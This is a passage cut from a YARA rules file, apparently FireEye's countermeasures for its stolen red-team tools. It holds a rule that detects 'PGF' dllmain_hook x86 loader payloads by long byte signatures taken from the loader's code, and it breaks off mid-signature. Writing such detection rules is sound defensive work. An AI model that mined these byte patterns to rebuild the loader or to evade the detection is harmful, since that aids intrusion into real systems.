		$s3 = "cmd_rpc" wide
		$s4 = "costura"

	condition:
		( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them
}

rule APT_Loader_Win32_PGF_3
{
	meta:
		description = "PGF payload, generated rule based on symfunc/c02594972dbab6d489b46c5dee059e66. Identifies dllmain_hook x86 payloads."
		md5 = "4414953fa397a41156f6fa4f9462d207"
		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
		author = "FireEye"
		id = "adf91482-6e04-5d11-bc00-4b1c7a802c49"

	strings:
		$cond1 = { 55 89 E5 57 56 53 81 EC FC 06 00 00 C7 85 2C F9 FF FF 90 EE 01 6D C7 85 30 F9 FF FF 6C FE 01 6D 8D 85 34 F9 FF FF 89 28 BA CC 19 00 6D 89 50 04 89 60 08 8D 85 14 F9 FF FF 89 04 24 E8 BB A6 00 00 A1 48 A1 05 6D C7 85 18 F9 FF FF FF FF FF FF FF D0 C7 44 24 08 04 01 00 00 8D 95 B6 FD FF FF 89 54 24 04 89 04 24 E8 B8 AE 00 00 83 EC 0C 85 C0 0F 94 C0 84 C0 0F 85 8B 03 00 00 8D 45 BF 89 C1 E8 56 0B 01 00 8D 85 9C FD FF FF 8D 55 BF 89 54 24 04 8D 95 B6 FD FF FF 89 14 24 C7 85 18 F9 FF FF 01 00 00 00 89 C1 E8 DF B5 01 00 83 EC 08 8D 45 BF 89 C1 E8 52 0B 01 00 A1 4C A1 05 6D C7 85 18 F9 FF FF 02 00 00 00 FF D0 89 44 24 04 C7 04 24 08 00 00 00 E8 51 AE 00 00 83 EC 08 89 45 D0 83 7D D0 00 75 0F C7 85 10 F9 FF FF 00 00 00 00 E9 8C 02 00 00 C7 45 E4 00 00 00 00 C7 45 E0 00 00 00 00 C7 85 74 F9 FF FF 28 04 00 00 8D 85 74 F9 FF FF 89 44 24 04 8B 45 D0 89 04 24 C7 85 18 F9 FF FF 02 00 00 00 E8 EF AD 00 00 83 EC 08 89 45 DC 83 7D DC 00 74 67 8D 85 9C FD FF FF C7 44 24 04 00 00 00 00 8D 95 74 F9 FF FF 83 C2 20 89 14 24 89 C1 E8 82 FF 00 00 83 EC 08 83 F8 FF 0F 95 C0 84 C0 74 12 8B 85 88 F9 FF FF 89 45 E4 8B 85 8C F9 FF FF 89 45 E0 8D 85 74 F9 FF FF 89 44 24 04 8B 45 D0 89 04 24 C7 85 18 F9 FF FF 02 00 00 00 E8 84 AD 00 00 83 EC 08 89 45 DC EB 93 8B 45 D0 89 04 24 A1 2C A1 05 6D C7 85 18 F9 FF FF 02 00 00 00 FF D0 83 EC 04 83 7D E4 00 74 06 83 7D E0 00 75 0F C7 85 10 F9 FF FF 00 00 00 00 E9 AD 01 00 00 C7 04 24 0C 40 05 6D A1 5C A1 05 6D C7 85 18 F9 FF FF 02 00 00 00 FF D0 83 EC 04 C7 44 24 04 18 40 05 6D 89 04 24 A1 60 A1 05 6D FF D0 83 EC 08 89 45 CC 89 E8 89 45 D8 8D 85 6C F9 FF FF 89 44 24 04 8D 85 70 F9 FF FF 89 04 24 A1 54 A1 05 6D FF D0 83 EC 08 C7 45 D4 00 00 00 00 8B 55 D8 8B 85 6C F9 FF FF 39 C2 0F 83 F5 00 00 00 8B 45 D8 8B 00 3D FF 0F 00 00 0F 86 D8 00 00 00 8B 45 D8 8B 00 39 45 CC 73 19 8B 45 D8 8B 00 8B 55 CC 81 C2 00 10 00 00 39 D0 73 07 C7 45 D4 01 00 00 00 83 7D D4 00 0F 84 AF 00 00 00 8B 45 D8 8B 00 39 45 E4 0F 83 A1 00 00 00 8B 45 D8 8B 00 8B 4D E4 8B 55 E0 01 CA 39 D0 0F 83 8C 00 00 00 B9 00 00 00 00 B8 1C 00 00 00 83 E0 FC 89 C2 B8 00 00 00 00 89 8C 05 50 F9 FF FF 83 C0 04 39 D0 72 F2 8B 45 D8 8B 00 C7 44 24 08 1C 00 00 00 8D 95 50 F9 FF FF 89 54 24 04 89 04 24 A1 9C A1 05 6D C7 85 18 F9 FF FF 02 00 00 00 FF D0 83 EC 0C 8B 85 64 F9 FF FF 83 E0 20 85 C0 74 2E 8B 45 D8 8B 00 C7 44 24 04 30 14 00 6D 89 04 24 C7 85 18 F9 FF FF 02 00 00 00 E8 59 FC FF FF C7 85 10 F9 FF FF 00 00 00 00 EB 58 90 EB 01 90 83 45 D8 04 E9 FA FE FF FF 8B 45 E4 89 45 C8 8B 45 C8 8B 40 3C 89 C2 8B 45 E4 01 D0 89 45 C4 8B 45 C4 8B 50 28 8B 45 E4 01 D0 89 45 C0 C7 44 24 04 30 14 00 6D 8B 45 C0 89 04 24 C7 85 18 F9 FF FF 02 00 00 00 E8 FF FB FF FF C7 85 10 F9 FF FF 01 00 00 00 8D 85 9C FD FF FF 89 C1 E8 5D BC 01 00 83 BD 10 F9 FF FF 01 EB 70 8B 95 1C F9 FF FF 8B 85 18 F9 FF FF 85 C0 74 0C 83 E8 01 85 C0 74 2D 83 E8 01 0F 0B 89 95 10 F9 FF FF 8D 45 BF 89 C1 E8 48 08 01 00 8B 85 10 F9 FF FF 89 04 24 C7 85 18 F9 FF FF FF FF FF FF E8 A0 A6 00 00 89 95 10 F9 FF FF 8D 85 9C FD FF FF 89 C1 E8 FD BB 01 00 8B 85 10 F9 FF FF 89 04 24 C7 85 18 F9 FF FF FF FF FF FF E8 75 A6 00 00 90 8D 85 14 F9 FF FF 89 04 24 E8 76 A3 00 00 8D 65 F4 5B 5E 5F 5D C3 }
		$cond2 = { 55 89 E5 57 56 53 81 EC FC 06 00 00 C7 85 2C F9 FF FF B0 EF 3D 6A C7 85 30 F9 FF FF 8C FF 3D 6A 8D 85 34 F9 FF FF 89 28 BA F4 1A 3C 6A 89 50 04 89 60 08 8D 85 14 F9 FF FF 89 04 24 E8 B3 A6 00 00 A1 64 A1 41 6A C7 85 18 F9 FF FF FF FF FF FF FF D0 C7 44 24 08 04 01 00 00 8D 95 B6 FD FF FF 89 54 24 04 89 04 24 E8 B0 AE 00 00 83 EC 0C 85 C0 0F 94 C0 84 C0 0F 85 8B 03 00 00 8D 45 BF 89 C1 E8 4E 0B 01 00 8D 85 9C FD FF FF 8D 55 BF 89 54 24 04 8D 95 B6 FD FF FF 89 14 24 C7 85 18 F9 FF FF 01 00 00 00 89 C1 E8 D7 B5 01 00 83 EC 08 8D 45 BF 89 C1 E8 4A 0B 01 00 A1 68 A1 41 6A C7 85 18 F9 FF FF 02 00 00 00 FF D0 89 44 24 04 C7 04 24 08 00 00 00 E8 49 AE 00 00 83 EC 08 89 45 D0 83 7D D0 00 75 0F C7 85 10 F9 FF FF 00 00 00 00 E9 8C 02 00 00 C7 45 E4 00 00 00 00 C7 45 E0 00 00 00 00 C7 85 74 F9 FF FF 28 04 00 00 8D 85 74 F9 FF FF 89 44 24 04 8B 45 D0 89 04 24 C7 85 18 F9 FF FF 02 00 00 00 E8 E7 AD 00 00 83 EC 08 89 45 DC 83 7D DC 00 74 67 8D 85 9C FD FF FF C7 44 24 04 00 00 00 00 8D 95 74 F9 FF FF 83 C2 20 89 14 24 89 C1 E8 7A FF 00 00 83 EC 08 83 F8 FF 0F 95 C0 84 C0 74 12 8B 85 88 F9 FF FF 89 45 E4 8B 85 8C F9 FF FF 89 45 E0 8D 85 74 F9 FF FF 89 44 24 04 8B 45 D0 89 04 24 C7 85 18 F9 FF FF 02 00 00 00 E8 7C AD 00 00 83 EC 08 89 45 DC EB 93 8B 45 D0 89 04 24 A1 44 A1 41 6A C7 85 18 F9 FF FF 02 00 00 00 FF D0 83 EC 04 83 7D E4 00 74 06 83 7D E0 00 75 0F C7 85 10 F9 FF FF 00 00 00 00 E9 AD 01 00 00 C7 04 24 62 40 41 6A A1 78 A1 41 6A C7 85 18 F9 FF FF 02 00 00 00 FF D0 83 EC 04 C7 44 24 04 6E 40 41 6A 89 04 24 A1 7C A1 41 6A FF D0 83 EC 08 89 45 CC 89 E8 89 45 D8 8D 85 6C F9 FF FF 89 44 24 04 8D 85 70 F9 FF FF 89 04 24 A1 70 A1 41 6A FF D0 83 EC 08 C7 45 D4 00 00 00 00 8B 55 D8 8B 85 6C F9 FF FF 39 C2 0F 83 F5 00 00 00 8B 45 D8 8B 00 3D FF 0F 00 00 0F 86 D8 00 00 00 8B 45 D8 8B 00 39 45 CC 73 19 8B 45 D8 8B 00 8B 55 CC 81 C2 00 10 00 00 39 D0 73 07 C7 45 D4 01 00 00 00 83 7D D4 00 0F 84 AF 00 00 00 8B 45 D8 8B 00 39 45 E4 0F 83 A1 00 00 00 8B 45 D8 8B 00 8B 4D E4 8B 55 E0 01 CA 39 D0 0F 83 8C 00 00 00 B9 00 00 00 00 B8 1C 00 00 00 83 E0 FC 89 C2 B8 00 00 00 00 89 8C 05 50 F9 FF FF 83 C0 04 39 D0 72 F2 8B 45 D8 8B 00 C7 44 24 08 1C 00 00 00 8D 95 50 F9 FF FF 89 54 24 04 89 04 24 A1 C8 A1 41 6A C7 85 18 F9 FF FF 02 00 00 00 FF D0 83 EC 0C 8B 85 64 F9 FF FF 83 E0 20 85 C0 74 2E 8B 45 D8 8B 00 C7 44 24 04 30 14 3C 6A 89 04 24 C7 85 18 F9 FF FF 02 00 00 00 E8 59 FC FF FF C7 85 10 F9 FF FF 00 00 00 00 EB 58 90 EB 01 90 83 45 D8 04 E9 FA FE FF FF 8B 45 E4 89 45 C8 8B 45 C8 8B 40 3C 89 C2 8B 45 E4 01 D0 89 45 C4 8B 45 C4 8B 50 28 8B 45 E4 01 D0 89 45 C0 C7 44 24 04 30 14 3C 6A 8B 45 C0 89 04 24 C7 85 18 F9 FF FF 02 00 00 00 E8 FF FB FF FF C7 85 10 F9 FF FF 01 00 00 00 8D 85 9C FD FF FF 89 C1 E8 55 BC 01 00 83 BD 10 F9 FF FF 01 EB 70 8B 95 1C F9 FF FF 8B 85 18 F9 FF FF 85 C0 74 0C 83 E8 01 85 C0 74 2D 83 E8 01 0F 0B 89 95 10 F9 FF FF 8D 45 BF 89 C1 E8 40 08 01 00 8B 85 10 F9 FF FF 89 04 24 C7 85 18 F9 FF FF FF FF FF FF E8 98 A6 00 00 89 95 10 F9 FF FF 8D 85 9C FD FF FF 89 C1 E8 F5 BB 01 00 8B 85 10 F9 FF FF 89 04 24 C7 85 18 F9 FF FF FF FF FF FF E8 6D A6 00 00 90 8D 85 14 F9 FF FF 89 04 24 E8 6E A3 00 00 8D 65 F4 5B 5E 5F 5D C3 }
		$cond3 = { 55 89 E5 57 56 53 81 EC FC 06 00 00 C7 85 2C F9 FF FF F0 EF D5 63 C7 85 30 F9 FF FF CC FF D5 63 8D 85 34 F9 FF FF 89 28 BA 28 1B D4 63 89 50 04 89 60 08 8D 85 14 F9 FF FF 89 04 24 E8 BF A6 00 00 A1 64 A1 D9 63 C7 85 18 F9 FF FF FF FF FF FF FF D0 C7 44 24 08 04 01 00 00 8D 95 B6 FD FF FF 89 54 24 04 89 04 24 E8 BC AE 00 00 83 EC 0C 85 C0 0F 94 C0 84 C0 0F 85 8B 03 00 00 8D 45 BF 89 C1 E8 5A 0B 01 00 8D 85 9C FD FF FF 8D 55 BF 89 54 24 04 8D 95 B6 FD FF FF 89 14 24 C7 85 18 F9 FF FF 01 00 00 00 89 C1 E8 E3 B5 01 00 83 EC 08 8D 45 BF 89 C1 E8 56 0B 01 00 A1 68 A1 D9 63 C7 85 18 F9 FF FF 02 00 00 00 FF D0 89 44 24 04 C7 04 24 08 00 00 00 E8 55 AE 00 00 83 EC 08 89 45 D0 83 7D D0 00 75 0F C7 85 10 F9 FF FF 00 00 00 00 E9 8C 02 00 00 C7 45 E4 00 00 00 00 C7 45 E0 00 00 00 00 C7 85 74 F9 FF FF 28 04 00 00 8D 85 74 F9 FF FF 89 44 24 04 8B 45 D0 89 04 24 C7 85 18 F9 FF FF 02 00 00 00 E8 F3 AD 00 00 83 EC 08 89 45 DC 83 7D DC 00 74 67 8D 85 9C FD FF FF C7 44 24 04 00 00 00 00 8D 95 74 F9 FF FF 83 C2 20 89 14 24 89 C1 E8 86 FF 00 00 83 EC 08 83 F8 FF 0F 95 C0 84 C0 74 12 8B 85 88 F9 FF FF 89 45 E4 8B 85 8C F9 FF FF 89 45 E0 8D 85 74 F9 FF FF 89 44 24 04 8B 45 D0 89 04 24 C7 85 18 F9 FF FF 02 00 00 00 E8 88 AD 00 00 83 EC 08 89 45 DC EB 93 8B 45 D0 89 04 24 A1 44 A1 D9 63 C7 85 18 F9 FF FF 02 00 00 00 FF D0 83 EC 04 83 7D E4 00 74 06 83 7D E0 00 75 0F C7 85 10 F9 FF FF 00 00 00 00 E9 AD 01 00 00 C7 04 24 7E 40 D9 63 A1 7C A1 D9 63 C7 85 18 F9 FF FF 02 00 00 00 FF D0 83 EC 04 C7 44 24 04 8A 40 D9 63 89 04 24 A1 80 A1 D9 63 FF D0 83 EC 08 89 45 CC 89 E8 89 45 D8 8D 85 6C F9 FF FF 89 44 24 04 8D 85 70 F9 FF FF 89 04 24 A1 70 A1 D9 63 FF D0 83 EC 08 C7 45 D4 00 00 00 00 8B 55 D8 8B 85 6C F9 FF FF 39 C2 0F 83 F5 00 00 00 8B 45 D8 8B 00 3D FF 0F 00 00 0F 86 D8 00 00 00 8B 45 D8 8B 00 39 45 CC 73 19 8B 45 D8 8B 00 8B 55 CC 81 C2 00 10 00 00 39 D0 73 07 C7 45 D4 01 00 00 00 83 7D D4 00 0F 84 AF 00 00 00 8B 45 D8 8B 00 39 45 E4 0F 83 A1 00 00 00 8B 45 D8 8B 00 8B 4D E4 8B 55 E0 01 CA 39 D0 0F 83 8C 00 00 00 B9 00 00 00 00 B8 1C 00 00 00 83 E0 FC 89 C2 B8 00 00 00 00 89 8C 05 50 F9 FF FF 83 C0 04 39 D0 72 F2 8B 45 D8 8B 00 C7 44 24 08 1C 00 00 00 8D 95 50 F9 FF FF 89 54 24 04 89 04 24 A1 C8 A1 D9 63 C7 85 18 F9 FF FF 02 00 00 00 FF D0 83 EC 0C 8B 85 64 F9 FF FF 83 E0 20 85 C0 74 2E 8B 45 D8 8B 00 C7 44 24 04 30 14 D4 63 89 04 24 C7 85 18 F9 FF FF 02 00 00 00 E8 59 FC FF FF C7 85 10 F9 FF FF 00 00 00 00 EB 58 90 EB 01 90 83 45 D8 04 E9 FA FE FF FF 8B 45 E4 89 45 C8 8B 45 C8 8B 40 3C 89 C2 8B 45 E4 01 D0 89 45 C4 8B 45 C4 8B 50 28 8B 45 E4 01 D0 89 45 C0 C7 44 24 04 30 14 D4 63 8B 45 C0 89 04 24 C7 85 18 F9 FF FF 02 00 00 00 E8 FF FB FF FF C7 85 10 F9 FF FF 01 00 00 00 8D 85 9C FD FF FF 89 C1 E8 61 BC 01 00 83 BD 10 F9 FF FF 01 EB 70 8B 95 1C F9 FF FF 8B 85 18 F9 FF FF 85 C0 74 0C 83 E8 01 85 C0 74 2D 83 E8 01 0F 0B 89 95 10 F9 FF FF 8D 45 BF 89 C1 E8 4C 08 01 00 8B 85 10 F9 FF FF 89 04 24 C7 85 18 F9 FF FF FF FF FF FF E8 A4 A6 00 00 89 95 10 F9 FF FF 8D 85 9C FD FF FF 89 C1 E8 01 BC 01 00 8B 85 10 F9 FF FF 89 04 24 C7 85 18 F9 FF FF FF FF FF FF E8 79 A6 00 00 90 8D 85 14 F9 FF FF 89 04 24 E8 7A A3 00 00 8D 65 F4 5B 5E 5F 5D C3 }
		$cond4 = { 55 89 E5 57 56 53 81 EC FC 06 00 00 C7 85 ?? ?? ?? ?? 90 EE 01 6D C7 85 ?? ?? ?? ?? 6C FE 01 6D 8D 85 ?? ?? ?? ?? 89 28 BA CC 19 00 6D 89 50 ?? 89 60 ?? 8D 85 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? FF FF FF FF FF D0 C7 44 24 ?? 04 01 00 00 8D 95 ?? ?? ?? ?? 89 54 24 ?? 89 04 24 E8 ?? ?? ?? ?? 83 EC 0C 85 C0 0F 94 C0 84 C0 0F 85 ?? ?? ?? ?? 8D 45 ?? 89 C1 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8D 55 ?? 89 54 24 ?? 8D 95 ?? ?? ?? ?? 89 14 24 C7 85 ?? ?? ?? ?? 01 00 00 00 89 C1 E8 ?? ?? ?? ?? 83 EC 08 8D 45 ?? 89 C1 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? 02 00 00 00 FF D0 89 44 24 ?? C7 04 24 08 00 00 00 E8 ?? ?? ?? ?? 83 EC 08 89 45 ?? 83 7D ?? 00 75 ?? C7 85 ?? ?? ?? ?? 00 00 00 00 E9 ?? ?? ?? ?? C7 45 ?? 00 00 00 00 C7 45 ?? 00 00 00 00 C7 85 ?? ?? ?? ?? 28 04 00 00 8D 85 ?? ?? ?? ?? 89 44 24 ?? 8B 45 ?? 89 04 24 C7 85 ?? ?? ?? ?? 02 00 00 00 E8 ?? ?? ?? ?? 83 EC 08 89 45 ?? 83 7D ?? 00 74 ?? 8D 85 ?? ?? ?? ?? C7 44 24 ?? 00 00 00 00 8D 95 ?? ?? ?? ?? 83 C2 20 89 14 24 89 C1 E8 ?? ?? ?? ?? 83 EC 08 83 F8 FF 0F 95 C0 84 C0 74 ?? 8B 85 ?? ?? ?? ?? 89 45 ?? 8B 85 ?? ?? ?? ?? 89 45 ?? 8D 85 ?? ?? ?? ?? 89 44 24 ?? 8B 45 ?? 89 04 24 C7 85 ?? ?? ?? ?? 02 00 00 00 E8 ?? ?? ?? ?? 83 EC 08 89 45 ?? EB ?? 8B 45 ?? 89 04 24 A1 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? 02 00 00 00 FF D0 83 EC 04 83 7D ?? 00 74 ?? 83 7D ?? 00 75 ?? C7 85 ?? ?? ?? ?? 00 00 00 00 E9 ?? ?? ?? ?? C7 04 24 0C 40 05 6D A1 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? 02 00 00 00 FF D0 83 EC 04 C7 44 24 ?? 18 40 05 6D 89 04 24 A1 ?? ?? ?? ?? FF D0 83 EC 08 89 45 ?? 89 E8 89 45 ?? 8D 85 ?? ?? ?? ?? 89 44 24 ?? 8D 85 ?? ?? ?? ?? 89 04 24 A1 ?? ?? ?? ?? FF D0 83 EC 08 C7 45 ?? 00 00 00 00 8B 55 ?? 8B 85 ?? ?? ?? ?? 39 C2 0F 83 ?? ?? ?? ?? 8B 45 ?? 8B 00 3D FF 0F 00 00 0F 86 ?? ?? ?? ?? 8B 45 ?? 8B 00 39 45 ?? 73 ?? 8B 45 ?? 8B 00 8B 55 ?? 81 C2 00 10 00 00 39 D0 73 ?? C7 45 ?? 01 00 00 00 83 7D ?? 00 0F 84 ?? ?? ?? ?? 8B 45 ?? 8B 00 39 45 ?? 0F 83 ?? ?? ?? ?? 8B 45 ?? 8B 00 8B 4D ?? 8B 55 ?? 01 CA 39 D0 0F 83 ?? ?? ?? ?? B9 00 00 00 00 B8 1C 00 00 00 83 E0 FC 89 C2 B8 00 00 00 00 89 8C 05 ?? ?? ?? ?? 83 C0 04 39 D0 72 ?? 8B 45 ?? 8B 00 C7 44 24 ?? 1C 00 00 00 8D 95 ?? ?? ?? ?? 89 54 24 ?? 89 04 24 A1 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? 02 00 00 00 FF D0 83 EC 0C 8B 85 ?? ?? ?? ?? 83 E0 20 85 C0 74 ?? 8B 45 ?? 8B 00 C7 44 24 ?? 30 14 00 6D 89 04 24 C7 85 ?? ?? ?? ?? 02 00 00 00 E8 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? 00 00 00 00 EB ?? 90 EB ?? 90 83 45 ?? 04 E9 ?? ?? ?? ?? 8B 45 ?? 89 45 ?? 8B 45 ?? 8B 40 ?? 89 C2 8B 45 ?? 01 D0 89 45 ?? 8B 45 ?? 8B 50 ?? 8B 45 ?? 01 D0 89 45 ?? C7 44 24 ?? 30 14 00 6D 8B 45 ?? 89 04 24 C7 85 ?? ?? ?? ?? 02 00 00 00 E8 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? 01 00 00 00 8D 85 ?? ?? ?? ?? 89 C1 E8 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? 01 EB ?? 8B 95 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 85 C0 74 ?? 83 E8 01 85 C0 74 ?? 83 E8 01 0F 0B 89 95 ?? ?? ?? ?? 8D 45 ?? 89 C1 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 04 24 C7 85 ?? ?? ?? ?? FF FF FF FF E8 ?? ?? ?? ?? 89 95 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 89 C1 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 04 24 C7 85 ?? ?? ?? ?? FF FF FF FF E8 ?? ?? ?? ?? 90 8D 85 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 8D 65 ?? 5B 5E 5F 5D C3 }
		$cond5 = { 55 89 E5 57 56 53 81 EC FC 06 00 00 C7 85 ?? ?? ?? ?? B0 EF 3D 6A C7 85 ?? ?? ?? ?? 8C FF 3D 6A 8D 85 ?? ?? ?? ?? 89 28 BA F4 1A 3C 6A 89 50 ?? 89 60 ?? 8D 85 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? FF FF FF FF FF D0 C7 44 24 ?? 04 01 00 00 8D 95 ?? ?? ?? ?? 89 54 24 ?? 89 04 24 E8 ?? ?? ?? ?? 83 EC 0C 85 C0 0F 94 C0 84 C0 0F 85 ?? ?? ?? ?? 8D 45 ?? 89 C1 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8D 55 ?? 89 54 24 ?? 8D 95 ?? ?? ?? ?? 89 14 24 C7 85 ?? ?? ?? ?? 01 00 00 00 89 C1 E8 ?? ?? ?? ?? 83 EC 08 8D 45 ?? 89 C1 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? 02 00 00 00 FF D0 89 44 24 ?? C7 04 24 08 00 00 00 E8 ?? ?? ?? ?? 83 EC 08 89 45 ?? 83 7D ?? 00 75 ?? C7 85 ?? ?? ?? ?? 00 00 00 00 E9 ?? ?? ?? ?? C7 45 ?? 00 00 00 00 C7 45 ?? 00 00 00 00 C7 85 ?? ?? ?? ?? 28 04 00 00 8D 85 ?? ?? ?? ?? 89 44 24 ?? 8B 45 ?? 89 04 24 C7 85 ?? ?? ?? ?? 02 00 00 00 E8 ?? ?? ?? ?? 83 EC 08 89 45 ?? 83 7D ?? 00 74 ?? 8D 85 ?? ?? ?? ?? C7 44 24 ?? 00 00 00 00 8D 95 ?? ?? ?? ?? 83 C2 20 89 14 24 89 C1 E8 ?? ?? ?? ?? 83 EC 08 83 F8 FF 0F 95 C0 84 C0 74 ?? 8B 85 ?? ?? ?? ?? 89 45 ?? 8B 85 ?? ?? ?? ?? 89 45 ?? 8D 85 ?? ?? ?? ?? 89 44 24 ?? 8B 45 ?? 89 04 24 C7 85 ?? ?? ?? ?? 02 00 00 00 E8 ?? ?? ?? ?? 83 EC 08 89 45 ?? EB ?? 8B 45 ?? 89 04 24 A1 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? 02 00 00 00 FF D0 83 EC 04 83 7D ?? 00 74 ?? 83 7D ?? 00 75 ?? C7 85 ?? ?? ?? ?? 00 00 00 00 E9 ?? ?? ?? ?? C7 04 24 62 40 41 6A A1 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? 02 00 00 00 FF D0 83 EC 04 C7 44 24 ?? 6E 40 41 6A 89 04 24 A1 ?? ?? ?? ?? FF D0 83 EC 08 89 45 ?? 89 E8 89 45 ?? 8D 85 ?? ?? ?? ?? 89 44 24 ?? 8D 85 ?? ?? ?? ?? 89 04 24 A1 ?? ?? ?? ?? FF D0 83 EC 08 C7 45 ?? 00 00 00 00 8B 55 ?? 8B 85 ?? ?? ?? ?? 39 C2 0F 83 ?? ?? ?? ?? 8B 45 ?? 8B 00 3D FF 0F 00 00 0F 86 ?? ?? ?? ?? 8B 45 ?? 8B 00 39 45 ?? 73 ?? 8B 45 ?? 8B 00 8B 55 ?? 81 C2 00 10 00 00 39 D0 73 ?? C7 45 ?? 01 00 00 00 83 7D ?? 00 0F 84 ?? ?? ?? ?? 8B 45 ?? 8B 00 39 45 ?? 0F 83 ?? ?? ?? ?? 8B 45 ?? 8B 00 8B 4D ?? 8B 55 ?? 01 CA 39 D0 0F 83 ?? ?? ?? ?? B9 00 00 00 00 B8 1C 00 00 00 83 E0 FC 89 C2 B8 00 00 00 00 89 8C 05 ?? ?? ?? ?? 83 C0 04 39 D0 72 ?? 8B 45 ?? 8B 00 C7 44 24 ?? 1C 00 00 00 8D 95 ?? ?? ?? ?? 89 54 24 ?? 89 04 24 A1 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? 02 00 00 00 FF D0 83 EC 0C 8B 85 ?? ?? ?? ?? 83 E0 20 85 C0 74 ?? 8B 45 ?? 8B 00 C7 44 24 ?? 30 14 3C 6A 89 04 24 C7 85 ?? ?? ?? ?? 02 00 00 00 E8 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? 00 00 00 00 EB ?? 90 EB ?? 90 83 45 ?? 04 E9 ?? ?? ?? ?? 8B 45 ?? 89 45 ?? 8B 45 ?? 8B 40 ?? 89 C2 8B 45 ?? 01 D0 89 45 ?? 8B 45 ?? 8B 50 ?? 8B 45 ?? 01 D0 89 45 ?? C7 44 24 ?? 30 14 3C 6A 8B 45 ?? 89 04 24 C7 85 ?? ?? ?? ?? 02 00 00 00 E8 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? 01 00 00 00 8D 85 ?? ?? ?? ?? 89 C1 E8 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? 01 EB ?? 8B 95 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 85 C0 74 ?? 83 E8 01 85 C0 74 ?? 83 E8 01 0F 0B 89 95 ?? ?? ?? ?? 8D 45 ?? 89 C1 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 04 24 C7 85 ?? ?? ?? ?? FF FF FF FF E8 ?? ?? ?? ?? 89 95 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 89 C1 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 04 24 C7 85 ?? ?? ?? ?? FF FF FF FF E8 ?? ?? ?? ?? 90 8D 85 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 8D 65 ?? 5B 5E 5F 5D C3 }
		$cond6 = { 55 89 E5 57 56 53 81 EC FC 06 00 00 C7 85 ?? ?? ?? ?? F0 EF D5 63 C7 85 ?? ?? ?? ?? CC FF D5 63 8D 85 ?? ?? ?? ?? 89 28 BA 28 1B D4 63 89 50 ?? 89 60 ?? 8D 85 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? FF FF FF FF FF D0 C7 44 24 ?? 04 01 00 00 8D 95 ?? ?? ?? ?? 89 54 24 ?? 89 04 24 E8 ?? ?? ?? ?? 83 EC 0C 85 C0 0F 94 C0 84 C0 0F 85 ?? ?? ?? ?? 8D 45 ?? 89 C1 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8D 55 ?? 89 54 24 ?? 8D 95 ?? ?? ?? ?? 89 14 24 C7 85 ?? ?? ?? ?? 01 00 00 00 89 C1 E8 ?? ?? ?? ?? 83 EC 08 8D 45 ?? 89 C1 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? 02 00 00 00 FF D0 89 44 24 ?? C7 04 24 08 00 00 00 E8 ?? ?? ?? ?? 83 EC 08 89 45 ?? 83 7D ?? 00 75 ?? C7 85 ?? ?? ?? ?? 00 00 00 00 E9 ?? ?? ?? ?? C7 45 ?? 00 00 00 00 C7 45 ?? 00 00 00 00 C7 85 ?? ?? ?? ?? 28 04 00 00 8D 85 ?? ?? ?? ?? 89 44 24 ?? 8B 45 ?? 89 04 24 C7 85 ?? ?? ?? ?? 02 00 00 00 E8 ?? ?? ?? ?? 83 EC 08 89 45 ?? 83 7D ?? 00 74 ?? 8D 85 ?? ?? ?? ?? C7 44 24 ?? 00 00 00 00 8D 95 ?? ?? ?? ?? 83 C2 20 89 14 24 89 C1 E8 ?? ?? ?? ?? 83 EC 08 83 F8 FF 0F 95 C0 84 C0 74 ?? 8B 85 ?? ?? ?? ?? 89 45 ?? 8B 85 ?? ?? ?? ?? 89 45 ?? 8D 85 ?? ?? ?? ?? 89 44 24 ?? 8B 45 ?? 89 04 24 C7 85 ?? ?? ?? ?? 02 00 00 00 E8 ?? ?? ?? ?? 83 EC 08 89 45 ?? EB ?? 8B 45 ?? 89 04 24 A1 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? 02 00 00 00 FF D0 83 EC 04 83 7D ?? 00 74 ?? 83 7D ?? 00 75 ?? C7 85 ?? ?? ?? ?? 00 00 00 00 E9 ?? ?? ?? ?? C7 04 24 7E 40 D9 63 A1 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? 02 00 00 00 FF D0 83 EC 04 C7 44 24 ?? 8A 40 D9 63 89 04 24 A1 ?? ?? ?? ?? FF D0 83 EC 08 89 45 ?? 89 E8 89 45 ?? 8D 85 ?? ?? ?? ?? 89 44 24 ?? 8D 85 ?? ?? ?? ?? 89 04 24 A1 ?? ?? 